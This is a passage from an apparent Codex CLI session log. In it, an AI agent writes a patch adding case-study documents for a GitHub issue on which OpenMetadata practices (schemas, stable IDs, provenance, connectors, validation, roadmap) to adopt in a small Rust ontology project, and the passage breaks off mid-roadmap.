auth.env_refresh_token_url_override_present=false auth.mode=\"Chatgpt\"\n[2026-07-12T04:05:14.298Z] [INFO] 2026-07-12T04:05:14.296376Z  INFO list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: codex_otel.trace_safe: event.name=\"codex.api_request\" duration_ms=164 http.response.status_code=200 success=true attempt=0 endpoint=\"/models\" auth.header_attached=true auth.header_name=\"authorization\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.mode=\"Chatgpt\"\n[2026-07-12T04:05:14.298Z] [INFO] 2026-07-12T04:05:14.296399Z  INFO list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: feedback_tags: endpoint=\"/models\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:05:14.298Z] [INFO] \n[2026-07-12T04:06:06.657Z] [INFO] 2026-07-12T04:06:06.645146Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const patch = \"*** Begin Patch\\n*** Delete File: /tmp/gh-issue-solver-1783828904396/.gitkeep\\n*** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/README.md\\n+# Issue 5 Case Study: Applying OpenMetadata Practices\\n+\\n+## Summary\\n+\\n+Issue: [link-foundation/meta-ontology#5](https://github.com/link-foundation/meta-ontology/issues/5)\\n+\\n+OpenMetadata is a mature metadata platform, while this repository is a small,\\n+Links Notation-based ontology. The useful lesson is therefore not to copy its\\n+Java/Python/TypeScript service stack. It is to adopt its boundaries: a canonical\\n+schema, stable entity identity, explicit relationships, versioned changes,\\n+connector isolation, API-first access, governance metadata, and automated\\n+quality checks.\\n+\\n+The recommended sequence is deliberately incremental. Strengthen the current\\n+in-process Rust model and lino data first; add interchange and ingestion\\n+contracts next; add persistence, search, HTTP, and a UI only when their roadmap\\n+milestones and measured usage justify the operational cost.\\n+\\n+Research was performed on 2026-07-12. OpenMetadata is fast-moving, so facts\\n+that can change are pinned to the observation date and links to primary sources.\\n+\\n+## Collected Data\\n+\\n+- [`source-inventory.md`](source-inventory.md) records the issue, PR, repository,\\n+  release, documentation, and source-code evidence consulted.\\n+- [`openmetadata-analysis.md`](openmetadata-analysis.md) describes transferable\\n+  practices, mismatches, risks, and existing components that can help.\\n+- [`requirements-and-solutions.md`](requirements-and-solutions.md) enumerates\\n+  every explicit and implied requirement and gives a solution and staged plan.\\n+- [`raw-data/issue-5.json`](raw-data/issue-5.json) preserves the issue snapshot.\\n+- [`raw-data/research-observations.json`](raw-data/research-observations.json)\\n+  preserves time-sensitive repository and PR observations in a compact,\\n+  reviewable form.\\n+\\n+No issue comments, PR conversation comments, inline review comments, or PR\\n+reviews existed when collected.\\n+\\n+## Findings\\n+\\n+### Practices to adopt now\\n+\\n+1. **Schema-first domain model.** Validate every persisted concept, definition,\\n+   mapping, language exponent, and relationship against a versioned contract.\\n+2. **Stable identity separate from display names.** Renames must not break\\n+   mappings, definitions, lineage, or future external references.\\n+3. **Typed graph edges.** Replace implicit string conventions with a small,\\n+   documented relation vocabulary and validate edge endpoints.\\n+4. **Provenance and change history.** Record source, author/agent, timestamp,\\n+   schema version, and change reason. Emit a deterministic change record when\\n+   loading or updating data.\\n+5. **Layered validation.** Separate parse validity, schema validity, graph\\n+   integrity, semantic quality, and repository word coverage so failures are\\n+   actionable.\\n+6. **Connector boundary.** Future importers should produce the same normalized\\n+   intermediate model; source-specific code must not leak into the core graph.\\n+7. **Contract-driven interfaces.** The library remains authoritative. CLI,\\n+   future HTTP, WASM, and importers consume the same service contracts.\\n+8. **Governance primitives.** Ownership, lifecycle state, classifications, and\\n+   policy references should be ordinary metadata, not UI-only annotations.\\n+\\n+### Practices to defer\\n+\\n+- A separate database and search index until the corpus or query latency needs it.\\n+- A workflow scheduler until multiple repeatable external ingestion jobs exist.\\n+- Microservices, event buses, and Kubernetes until deployment requirements demand\\n+  independent scaling or availability.\\n+- A broad connector catalog before one end-to-end connector contract is proven.\\n+- Enterprise RBAC before the HTTP service exists; design authorization fields now,\\n+  enforce them at the service boundary later.\\n+\\n+## Target Architecture\\n+\\n+```text\\n+source files / future connectors\\n+              |\\n+              v\\n+      normalized import records\\n+              |\\n+              v\\n+ parse -> schema -> graph -> semantic validation\\n+              |\\n+              v\\n+     versioned ontology service\\n+       /          |          \\\\\\n+     CLI       future API    WASM/UI\\n+                  |\\n+          optional persistence/search\\n+```\\n+\\n+The pipeline is the important boundary. Each consumer sees one validated model;\\n+each importer produces one normalized representation.\\n+\\n+## Decision Matrix\\n+\\n+| OpenMetadata practice | Fit | Decision |\\n+| --- | --- | --- |\\n+| Canonical schema and generated/typed models | High | Adopt incrementally |\\n+| Stable IDs, names, ownership, tags, versions | High | Add to domain model |\\n+| Typed relationships and lineage | High | Add a relation vocabulary |\\n+| Source-to-sink connector topology | High | Adapt as a small Rust trait pipeline |\\n+| REST resources and JSON Patch | Medium | Design contracts now; implement at M3 |\\n+| Change events and webhooks | Medium | Start with deterministic local events |\\n+| Data quality tests and observability | Medium | Adapt to ontology integrity rules |\\n+| Search index | Low today | Keep an interface; defer infrastructure |\\n+| Airflow-style workflow scheduling | Low today | Defer |\\n+| Full production deployment stack | Low today | Do not copy |\\n+\\n+## Completion Criteria\\n+\\n+This case study satisfies issue 5 when it:\\n+\\n+- preserves issue- and PR-related observations under this directory;\\n+- uses current primary online sources and distinguishes observations from\\n+  recommendations;\\n+- enumerates all issue requirements;\\n+- evaluates OpenMetadata practices against this repository rather than merely\\n+  summarizing OpenMetadata;\\n+- identifies reusable standards, crates, and libraries;\\n+- supplies a prioritized, testable implementation plan for every requirement.\\n+\\n+The analysis and plan meet those criteria. Product changes are intentionally\\n+proposed as future slices rather than bundled into this research PR.\\n*** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/source-inventory.md\\n+# Source Inventory and Research Method\\n+\\n+## Method\\n+\\n+The investigation used the GitHub API/CLI for repository state and official\\n+OpenMetadata documentation and source repositories for technical claims.\\n+Marketing claims and time-sensitive counts are treated as observations, not as\\n+architecture requirements. Access date for every online source: 2026-07-12.\\n+\\n+## Local issue and pull request\\n+\\n+| Evidence | Observation |\\n+| --- | --- |\\n+| [Issue 5](https://github.com/link-foundation/meta-ontology/issues/5) | Open; asks for data collection, deep online research, complete requirements, solution options, plans, and component/library evaluation in one PR |\\n+| [PR 6](https://github.com/link-foundation/meta-ontology/pull/6) | Draft placeholder on branch `issue-5-e2602184e2c5` at collection time |\\n+| Issue comments API | No comments |\\n+| PR review comments API | No inline comments |\\n+| PR conversation comments API | No comments |\\n+| PR reviews API | No reviews |\\n+| [Issue 1 case study](../issue-1/README.md) | Establishes this repository's requirements/research/plan precedent |\\n+| [Issue 3 case study](../issue-3/README.md) | Establishes the collected-evidence and explicit-root-cause precedent |\\n+\\n+## OpenMetadata repository snapshot\\n+\\n+The [OpenMetadata repository](https://github.com/open-metadata/OpenMetadata)\\n+reported Apache-2.0 licensing, `main` as its default branch, and a multi-language\\n+codebase. The latest GitHub release observed was\\n+[`1.13.1-release`](https://github.com/open-metadata/OpenMetadata/releases/tag/1.13.1-release),\\n+published 2026-06-27. Counts such as stars, forks, connectors, schemas, or open\\n+issues are intentionally not used to choose this repository's architecture.\\n+\\n+Relevant upstream areas:\\n+\\n+- [`openmetadata-spec`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-spec):\\n+  canonical JSON Schemas and generated model inputs.\\n+- [`openmetadata-service`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-service):\\n+  server, repositories, APIs, authorization, and event handling.\\n+- [`ingestion`](https://github.com/open-metadata/OpenMetadata/tree/main/ingestion):\\n+  connector and workflow framework.\\n+- [`openmetadata-ui`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-ui):\\n+  web application kept separate from the metadata service.\\n+- [`openmetadata-clients`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-clients):\\n+  generated/client-facing access layers.\\n+- [Contribution guide](https://docs.open-metadata.org/v1.12.x/developers/contribute):\\n+  issue-based contribution and local build/test workflow.\\n+\\n+## Primary technical documentation\\n+\\n+| Topic | Source | Evidence used |\\n+| --- | --- | --- |\\n+| Metadata standard | [Metadata Standard](https://docs.open-metadata.org/v1.11.x/api-reference/main-concepts/metadata-standard) | Canonical, language-neutral schemas drive generated models and APIs |\\n+| REST conventions | [APIs](https://docs.open-metadata.org/v1.12.x/api-reference/main-concepts/metadata-standard/apis) | Schema-first resources, versioned `/api/v1` namespace, consistent collection/instance URIs |\\n+| Connector architecture | [Metadata ingestion deep dive](https://docs.open-metadata.org/v1.12.x/developers/contribute/codebase-deep-dives/metadata-ingestion) | Source-to-sink pipeline, topology, result/error handling, fingerprint-based incremental ingestion |\\n+| Ingestion capabilities | [Ingestion overview](https://docs.open-metadata.org/v1.12.x/connectors/ingestion) | Metadata, usage, lineage, profiling, quality, and versioning are distinct workflows |\\n+| Lineage | [Lineage deep dive](https://docs.open-metadata.org/v1.12.x/developers/contribute/codebase-deep-dives/lineage-ingestion) | Relationships are extracted, resolved, and published as graph data |\\n+| Connector schemas | [Define the JSON Schema](https://docs.open-metadata.org/latest/developers/contribute/developing-a-new-connector/define-json-schema) | One connection schema generates consistent Java, Python, and TypeScript types |\\n+| Governance | [Data Governance](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-governance) | Glossaries, classifications, ownership, and policies are first-class concepts |\\n+| Glossary semantics | [Glossary Term](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-governance/glossary/glossary-term) | Definitions, synonyms, related terms, tags, and references form a semantic graph |\\n+| Domains | [Domains and Data Products](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-governance/domains-%26-data-products) | Domain ownership and discoverable, documented products support decentralized stewardship |\\n+| Authorization | [Roles and Policies](https://docs.open-metadata.org/v1.12.x/how-to-guides/admin-guide/roles-policies) | Authorization evaluates actor, resource attributes, and operation |\\n+| Quality model | [Data Quality API](https://docs.open-metadata.org/v1.12.x/api-reference/data-quality) | Reusable definitions, applied cases, suites, and results separate rule from execution |\\n+| Observability | [Quality and Observability](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-quality-observability) | Tests, profiling, alerts, and incident handling form a feedback loop |\\n+| Deployment/security | [Deployment](https://docs.open-metadata.org/v1.12.x/deployment) and [Security](https://docs.open-metadata.org/v1.12.x/deployment/security) | Production operations and identity-provider integration are explicit concerns |\\n+\\n+## External standards and candidate components\\n+\\n+These are evaluated as interoperability options, not mandatory dependencies.\\n+\\n+| Need | Candidate | Intended use |\\n+| --- | --- | --- |\\n+| Data contract validation | [JSON Schema 2020-12](https://json-schema.org/draft/2020-12) | Portable interchange schema; keep lino canonical if desired |\\n+| Semantic graph exchange | [RDF 1.2](https://www.w3.org/TR/rdf12-concepts/) / [OWL 2](https://www.w3.org/TR/owl2-overview/) | Import/export and ontology-tool interoperability |\\n+| Graph constraints | [SHACL](https://www.w3.org/TR/shacl12-core/) | Express portable graph validity rules |\\n+| Provenance | [PROV-O](https://www.w3.org/TR/prov-o/) | Map source, agent, derivation, and activity metadata |\\n+| Lineage events | [OpenLineage](https://openlineage.io/docs/spec/) | Future pipeline lineage interchange, not core concept storage |\\n+| Rust serialization | [`serde`](https://docs.rs/serde/latest/serde/) | Typed interchange models |\\n+| Rust JSON Schema | [`schemars`](https://docs.rs/schemars/latest/schemars/) | Generate JSON Schema from Rust types |\\n+| Schema validation | [`jsonschema`](https://docs.rs/jsonschema/latest/jsonschema/) | Validate imported/exported JSON |\\n+| Stable identifiers | [`uuid`](https://docs.rs/uuid/latest/uuid/) | UUID identity when content-derived IDs are unsuitable |\\n+| HTTP service | [`axum`](https://docs.rs/axum/latest/axum/) | Existing roadmap choice for M3 |\\n+| API description | [`utoipa`](https://docs.rs/utoipa/latest/utoipa/) | Generate OpenAPI from Rust endpoint types |\\n+| Embedded search | [`tantivy`](https://docs.rs/tantivy/latest/tantivy/) | Optional local full-text index before external search infrastructure |\\n+| Graph algorithms | [`petgraph`](https://docs.rs/petgraph/latest/petgraph/) | Cycle, reachability, and integrity analysis if custom traversal becomes costly |\\n+\\n+## Reproducibility notes\\n+\\n+- Documentation versions are included in URLs where the official site exposed a\\n+  stable version. `latest` links should be rechecked before implementation.\\n+- The compact JSON snapshots record mutable facts. Full upstream repository\\n+  contents are not vendored because that would add millions of unrelated files\\n+  and create licensing/update noise.\\n+- Recommendations are reasoned adaptations to the current repository; they are\\n+  not claims that OpenMetadata implements the exact proposed Rust design.\\n*** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/openmetadata-analysis.md\\n+# Deep Analysis: What Meta-Ontology Should Learn from OpenMetadata\\n+\\n+## Context and limits\\n+\\n+OpenMetadata solves enterprise metadata discovery, ingestion, governance,\\n+lineage, quality, and collaboration. Meta-ontology currently loads a small lino\\n+graph into an in-memory Rust library and exposes it through a CLI. Their shared\\n+domain is metadata graphs; their scale, product scope, and operational needs are\\n+not comparable.\\n+\\n+Accordingly, this analysis extracts invariants and interfaces. It rejects\\n+technology copying where the problem is absent.\\n+\\n+## 1. Canonical schema as the center of the system\\n+\\n+OpenMetadata defines entities and types in language-neutral schemas and derives\\n+models used by server, ingestion, and UI layers. This prevents three subtly\\n+different definitions of the same entity.\\n+\\n+Meta-ontology already has Rust structs plus conventions embedded in lino. The\\n+risk is that conventions such as tuple position, mapping kind, language, or\\n+definition source evolve without a machine-checkable contract.\\n+\\n+### Adaptation\\n+\\n+- Declare a `schema_version` for the dataset and interchange representation.\\n+- Keep one authoritative Rust domain model.\\n+- Derive a JSON Schema interchange contract from it, or check a hand-maintained\\n+  schema against generated fixtures.\\n+- Validate lino-to-model normalization independently of parser success.\\n+- Reject unknown fields only at stable boundaries; provide migrations when a\\n+  stored format changes.\\n+\\n+JSON is an interchange format here, not a replacement for Links Notation.\\n+\\n+## 2. Identity, names, and references\\n+\\n+Metadata systems must distinguish machine identity, fully qualified names,\\n+display names, and aliases. A graph that uses a mutable label as identity makes\\n+rename operations destructive.\\n+\\n+### Adaptation\\n+\\n+Add an opaque `ConceptId` and make names indexed attributes. Define uniqueness,\\n+normalization, alias, deprecation, and redirect rules. A mapping or definition\\n+references the ID; CLI lookup may accept a canonical name or alias. Initially,\\n+IDs can be explicitly stored strings. UUIDs are useful only if decentralized\\n+creation makes coordinated human-readable IDs unsafe.\\n+\\n+### Required invariants\\n+\\n+- IDs are unique and immutable.\\n+- A canonical name is unique within its namespace and language rules.\\n+- Every edge endpoint resolves.\\n+- Alias chains terminate and cannot fork ambiguously.\\n+- Removing a referenced concept requires an explicit migration or tombstone.\\n+\\n+## 3. Typed relationships and graph integrity\\n+\\n+OpenMetadata treats lineage, ownership, classification, glossary association,\\n+and containment as relationships with meaning, rather than arbitrary strings.\\n+Meta-ontology needs the same discipline on a much smaller scale.\\n+\\n+### Adaptation\\n+\\n+Define a relation registry containing at least:\\n+\\n+- relation ID and canonical name;\\n+- source and target concept categories;\\n+- cardinality;\\n+- inverse, symmetry, and transitivity declarations where meaningful;\\n+- lifecycle state and provenance.\\n+\\n+Do not infer logical properties from English labels. Validation should report\\n+the source file and record for dangling endpoints, invalid cardinality, and\\n+forbidden relation types. Cycles remain legal\u2014the ontology is intentionally a\\n+graph\u2014but selected acyclic relations such as alias redirects can be checked.\\n+\\n+## 4. Provenance, versioning, and change events\\n+\\n+OpenMetadata preserves entity versions and uses source fingerprints to avoid\\n+unnecessary ingestion updates. Both ideas transfer well.\\n+\\n+### Adaptation\\n+\\n+Each imported assertion should be able to carry:\\n+\\n+- source URI or source document;\\n+- source record/version and retrieval time;\\n+- creating agent (human, connector, or migration);\\n+- confidence or review state when the assertion is inferred;\\n+- license/usage note for externally sourced descriptions;\\n+- deterministic content fingerprint.\\n+\\n+The loader can compare fingerprints and produce `Created`, `Updated`,\\n+`Unchanged`, `Deprecated`, and `Rejected` records. Start with newline-delimited\\n+JSON written by an explicit command. A database event table, webhook, or broker\\n+is unnecessary until another process consumes events.\\n+\\n+This also supports reproducible case studies: a claim can point to its source\\n+and the exact import decision.\\n+\\n+## 5. Ingestion as a normalized pipeline\\n+\\n+OpenMetadata connector code separates source extraction from normalized entity\\n+publication and uses a declarative topology for parent/child traversal.\\n+\\n+### Adaptation\\n+\\n+Use small Rust interfaces:\\n+\\n+```text\\n+Source -> RawRecord -> Normalizer -> CandidateAssertion\\n+       -> Validator -> OntologyChange -> Sink/Report\\n+```\\n+\\n+The first implementation should be a fixture connector, not a large catalog.\\n+It must demonstrate discovery, normalization, dry-run, idempotency,\\n+checkpointing, structured errors, provenance, and a second unchanged run.\\n+\\n+Connector capability declarations should state which entity/relation kinds are\\n+supported. Configuration must be typed, secrets must not appear in reports, and\\n+partial failures must not silently create a partially valid graph.\\n+\\n+## 6. Layered quality and observability\\n+\\n+OpenMetadata separates reusable test definitions, applications of those tests,\\n+suites, executions, and results. Meta-ontology can adopt that conceptual model\\n+without building a scheduler or UI.\\n+\\n+### Layers\\n+\\n+1. **Syntax:** lino parses.\\n+2. **Shape:** records conform to the versioned model.\\n+3. **Referential integrity:** IDs and relation endpoints resolve.\\n+4. **Semantic constraints:** cardinality, relation domain/range, alias rules,\\n+   required definition/language coverage.\\n+5. **Quality policy:** provenance, ownership, review status, mapping coverage,\\n+   duplicate/suspicious definitions.\\n+6. **Repository policy:** files format, tests pass, word coverage, size limits.\\n+\\n+Return stable diagnostic codes with file/record locations. Produce a JSON report\\n+for CI in addition to human output. Trend history and alert routing should wait\\n+until repeated scheduled validation exists.\\n+\\n+## 7. Governance belongs in the model\\n+\\n+OpenMetadata models ownership, glossaries, classifications, domains, policies,\\n+and lifecycle status. For meta-ontology, the immediate value is accountability\\n+and explainability, not enterprise access control.\\n+\\n+### Adaptation\\n+\\n+- Add optional owner/steward references at dataset, namespace, and concept level.\\n+- Define lifecycle values such as `draft`, `reviewed`, `stable`, `deprecated`.\\n+- Separate descriptive classification from security policy.\\n+- Let policies refer to metadata attributes so the future service can evaluate\\n+  actor + resource + operation.\\n+- Record review decisions as provenance rather than overwriting history.\\n+\\n+Authentication and authorization enforcement belongs at the future HTTP/API\\n+boundary. The library should expose policy-relevant attributes without deciding\\n+who the current user is.\\n+\\n+## 8. API and client boundaries\\n+\\n+OpenMetadata's schema-first REST API demonstrates the value of consistent\\n+resource naming and shared types. Meta-ontology's M3 service should not expose\\n+internal loader structs directly.\\n+\\n+### Proposed resources\\n+\\n+- `/api/v1/concepts` and `/api/v1/concepts/{id}`;\\n+- `/api/v1/relations` and graph traversal endpoints;\\n+- `/api/v1/definitions`, `/mappings`, and `/languages`;\\n+- `/api/v1/validation-runs` and `/changes`;\\n+- explicit import/export endpoints with dry-run support.\\n+\\n+Use cursor pagination, sparse field selection only when needed, structured\\n+errors, ETags for optimistic concurrency, and OpenAPI generation. Defer JSON\\n+Patch until partial updates and conflict semantics are fully specified.\\n+\\n+## 9. Search and discovery\\n+\\n+OpenMetadata uses dedicated indexing because it serves a large, heterogeneous\\n+catalog. The current ontology can search normalized in-memory fields.\\n+\\n+Define a `SearchIndex` interface only after search semantics are specified:\\n+exact ID/name, alias, language-aware text, relation filters, and ranking. A\\n+linear implementation is the correct baseline. Tantivy is a plausible embedded\\n+step if benchmarks show a need; an external cluster is not.\\n+\\n+## 10. Security and operations\\n+\\n+OpenMetadata documents authentication, authorization, secrets, upgrades,\\n+backups, and production deployment. These are reminders that a service boundary\\n+creates obligations.\\n+\\n+Before M3 is production-ready, specify:\\n+\\n+- read-only versus mutation endpoints;\\n+- authentication and authorization model;\\n+- request limits and payload limits;\\n+- secret handling for connectors;\\n+- audit/change retention;\\n+- schema/data migration and backup/restore procedures;\\n+- health, readiness, metrics, and structured logging;\\n+- threat tests for malformed graphs and expensive traversal.\\n+\\n+None of this requires adopting OpenMetadata's deployment topology today.\\n+\\n+## Risks and countermeasures\\n+\\n+| Risk | Countermeasure |\\n+| --- | --- |\\n+| Architecture astronautics | Require a measured use case and acceptance test for each infrastructure dependency |\\n+| Two canonical models (lino and JSON) | Define lino as storage syntax and Rust model as semantic authority; JSON is generated interchange |\\n+| Breaking old datasets | Version schemas and test migration fixtures |\\n+| Mutable names break links | Introduce stable IDs before importers or APIs |\\n+| Connector-specific core fields | Normalize behind a narrow candidate-assertion contract |\\n+| Unverifiable external claims | Require provenance and license metadata |\\n+| Quality rules become one opaque command | Layer checks and stable diagnostic codes |\\n+| Enterprise governance overwhelms MVP | Start with owner, lifecycle, provenance, and review status |\\n+| Search stack adds operations burden | Benchmark linear search; use embedded indexing before external services |\\n+| Upstream practices change | Pin source/version/date and re-evaluate at implementation time |\\n+\\n+## Recommended outcome\\n+\\n+The durable OpenMetadata lesson is contract coherence: schemas, ingestion,\\n+service APIs, governance, versioning, quality, and clients describe the same\\n+entities. Meta-ontology should build that coherence in-process first. A clean\\n+modular monolith can later move selected interfaces across process boundaries\\n+without redesigning the ontology.\\n*** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/requirements-and-solutions.md\\n+# Requirements, Solutions, and Implementation Plan\\n+\\n+## Requirement derivation\\n+\\n+Issue 5 names OpenMetadata in its title and uses the repository's standard case\\n+study instruction body. The explicit requirements are R1-R6. R7-R10 are implied\\n+by \u201cuse best practices\u201d and by making the output reviewable and actionable.\\n+\\n+## Complete requirement list\\n+\\n+| ID | Requirement | Evidence | Delivered here |\\n+| --- | --- | --- | --- |\\n+| R1 | Collect issue-related data under `docs/case-studies/issue-5` | Issue body | Source inventory and compact snapshots |\\n+| R2 | Perform a deep case-study analysis | Issue body | Architectural comparison, adaptations, risks |\\n+| R3 | Search online for additional facts and data | Issue body | Versioned official docs, upstream source, standards |\\n+| R4 | List every requirement from the issue | Issue body | This table |\\n+| R5 | Propose possible solutions and a plan for each requirement | Issue body | Requirement dispositions and phased plan below |\\n+| R6 | Check existing components/libraries that solve or assist each solution | Issue body | Standards/component evaluation in source inventory and below |\\n+| R7 | Identify OpenMetadata practices suitable for meta-ontology | Issue title | Ten practice areas with fit decisions |\\n+| R8 | Avoid adopting unsuitable complexity | \u201cbest practices\u201d requires contextual judgment | Explicit deferrals and decision gates |\\n+| R9 | Make recommendations verifiable | Deep analysis requirement | Acceptance tests, provenance, pinned sources |\\n+| R10 | Complete planning and execution in one PR | Issue body | All research artifacts are in PR 6 |\\n+\\n+## Solutions by requirement\\n+\\n+### R1: collect data\\n+\\n+**Options:** vendor the upstream repository; save complete API dumps; or preserve\\n+a curated, time-stamped evidence set with primary links.\\n+\\n+**Decision:** curated evidence. Vendoring a multi-gigabyte, Apache-licensed\\n+repository would be noisy and stale quickly. Full GitHub API payloads contain\\n+mostly transport metadata. The snapshots preserve the mutable facts needed to\\n+reproduce this analysis, while the inventory points to exact upstream areas.\\n+\\n+**Verification:** every local artifact named in the case-study README exists;\\n+mutable observations include an observation date; empty comment/review streams\\n+are recorded.\\n+\\n+### R2 and R7: deep analysis of applicable practices\\n+\\n+**Options:** feature checklist, technology-stack comparison, or domain-boundary\\n+analysis.\\n+\\n+**Decision:** domain-boundary analysis. It explains how schema, identity,\\n+relationships, provenance, ingestion, validation, governance, API, search, and\\n+operations affect this repository and explicitly states what not to copy.\\n+\\n+**Verification:** each practice has current-state context, an adaptation, and\\n+either an implementation slice or a deferral criterion.\\n+\\n+### R3: online research\\n+\\n+**Options:** secondary articles, current official docs, or source-only review.\\n+\\n+**Decision:** combine official versioned documentation with the upstream source\\n+tree and recognized standards. This gives design explanation plus inspectable\\n+implementation boundaries. Secondary claims are unnecessary.\\n+\\n+**Verification:** sources are primary, linked, access-dated, and separated from\\n+recommendations. Time-sensitive facts are not treated as permanent.\\n+\\n+### R4: enumerate requirements\\n+\\n+**Decision:** assign stable IDs to explicit and implied requirements. This avoids\\n+mistaking a long architectural summary for issue completion.\\n+\\n+**Verification:** every phrase in the issue body maps to R1-R6; the title's\\n+\u201cbest practices\u201d goal maps to R7-R9; single-PR completion maps to R10.\\n+\\n+### R5: solutions and plans\\n+\\n+**Decision:** use thin vertical slices, each ending in data fixtures, library\\n+behavior, CLI behavior, diagnostics, and tests. Avoid a \u201cplatform rewrite\u201d plan.\\n+\\n+**Verification:** the phased plan below has dependencies, acceptance criteria,\\n+and stop/go gates.\\n+\\n+### R6: components and libraries\\n+\\n+**Decision:** prefer standards and focused Rust crates over an OpenMetadata\\n+runtime dependency. OpenMetadata can interoperate later via JSON/RDF/OpenLineage\\n+or a purpose-built connector.\\n+\\n+| Capability | Build/adopt decision | Candidate |\\n+| --- | --- | --- |\\n+| Typed serialization | Adopt | `serde` |\\n+| JSON Schema generation | Prototype and compare generated diff in CI | `schemars` |\\n+| JSON Schema validation | Adopt at interchange boundary | `jsonschema` |\\n+| Stable opaque IDs | Start with explicit IDs; use crate if UUIDs chosen | `uuid` |\\n+| Graph algorithms | Keep current code until complexity warrants dependency | `petgraph` |\\n+| RDF/OWL exchange | Design mapping first; evaluate maintained Rust libraries with fixtures | W3C RDF/OWL |\\n+| Provenance vocabulary | Map internal provenance fields | PROV-O |\\n+| Constraint exchange | Export selected rules later | SHACL |\\n+| HTTP API | Use existing roadmap selection | `axum` |\\n+| OpenAPI | Generate from endpoint/model types | `utoipa` |\\n+| Search | Linear baseline, then benchmark embedded option | `tantivy` |\\n+| Pipeline lineage | Interoperate only when pipeline entities exist | OpenLineage |\\n+\\n+Crates must be re-evaluated for maintenance, license, MSRV, WASM compatibility,\\n+and dependency footprint when their slice begins. Listing one is not approval to\\n+add it.\\n+\\n+### R8: control complexity\\n+\\n+**Decision:** use decision gates:\\n+\\n+- no database until persistence, concurrency, or corpus size requires it;\\n+- no search service until a benchmark fails an agreed latency target;\\n+- no scheduler until at least two recurring connectors exist;\\n+- no distributed components until independent scaling or availability is a\\n+  documented requirement;\\n+- no authorization engine until mutations cross a service boundary.\\n+\\n+### R9: verifiability\\n+\\n+**Decision:** each implementation slice starts with fixtures and failing tests.\\n+All imports expose provenance and a dry-run report. Diagnostics have stable\\n+codes. Benchmarks, not analogy, trigger infrastructure.\\n+\\n+### R10: single-PR execution\\n+\\n+**Decision:** PR 6 contains the complete research deliverable and future plans.\\n+The product slices remain separately reviewable future work because implementing\\n+all of OpenMetadata's capabilities would violate R8 and the issue asks for\\n+solution proposals/plans, not a platform rewrite.\\n+\\n+## Prioritized implementation roadmap\\n+\\n+### Phase 0: accept this architecture record\\n+\\n+Deliverables:\\n+\\n+- this case study and source inventory;\\n+- explicit decisions and deferrals;\\n+- tracked follow-up issues for approved phases.\\n+\\n+Acceptance: documentation links pass; local CI passes; reviewers can trace each\\n+requirement to a delivered artifact.\\n+\\n+### Phase 1: versioned identity and validation\\n+\\n+Dependencies: none.\\n+\\n+1. Add failing fixtures for duplicate IDs, dangling edges, invalid relation\\n+   domain/range, ambiguous aliases, and unsupported schema versions.\\n+2. Introduce `ConceptId`, dataset `schema_version`, lifecycle state, and source\\n+   location without changing CLI display behavior.\\n+3. Add layered validators and stable diagnostic codes.\\n+4. Add `validate --format human|json` and golden reports.\\n+5. Provide a migration for current lino fixtures.\\n+\\n+Acceptance:\\n+\\n+- all current data migrates without semantic loss;\\n+- invalid fixtures fail at the intended validation layer;\\n+- a rename preserves ID-based references;\\n+- CLI output remains backward compatible unless explicitly versioned.\\n+\\n+### Phase 2: provenance and deterministic changes\\n+\\n+Dependencies: Phase 1.\\n+\\n+1. Model source URI/document, agent, time, review state, license note, and\\n+   content fingerprint.\\n+2. Test create/update/unchanged/deprecate decisions before implementation.\\n+3. Add dry-run diff and newline-delimited JSON change export.\\n+4. Ensure identical imports are idempotent and deterministic.\\n+\\n+Acceptance: importing the same fixture twice produces zero updates on the\\n+second run; every changed assertion points to source evidence.\\n+\\n+### Phase 3: one connector contract\\n+\\n+Dependencies: Phases 1-2.\\n+\\n+1. Define typed source configuration, capability declaration, checkpoint, raw\\n+   record, normalized candidate, and structured error contracts.\\n+2. Build one fixture-backed connector end to end.\\n+3. Test partial failures, secret redaction, retry classification, dry run, and\\n+   resume behavior.\\n+4. Document how a second connector would be added without core-model changes.\\n+\\n+Acceptance: two unchanged runs are idempotent; invalid records are quarantined\\n+with evidence; no source-specific field enters the core model without a general\\n+domain reason.\\n+\\n+### Phase 4: interchange\\n+\\n+Dependencies: Phase 1; provenance fields from Phase 2 recommended.\\n+\\n+1. Generate or maintain JSON Schema for the stable public model.\\n+2. Add JSON import/export round-trip fixtures.\\n+3. Map a deliberately small RDF/OWL/PROV-O subset and publish loss reports.\\n+4. Evaluate SHACL export for constraints; do not claim lossless round trips\\n+   until tests prove them.\\n+\\n+Acceptance: schema validation runs in CI; JSON round trips preserve IDs and\\n+relationships; semantic exports declare unsupported/lossy fields.\\n+\\n+### Phase 5: service API (existing roadmap M3)\\n+\\n+Dependencies: stable 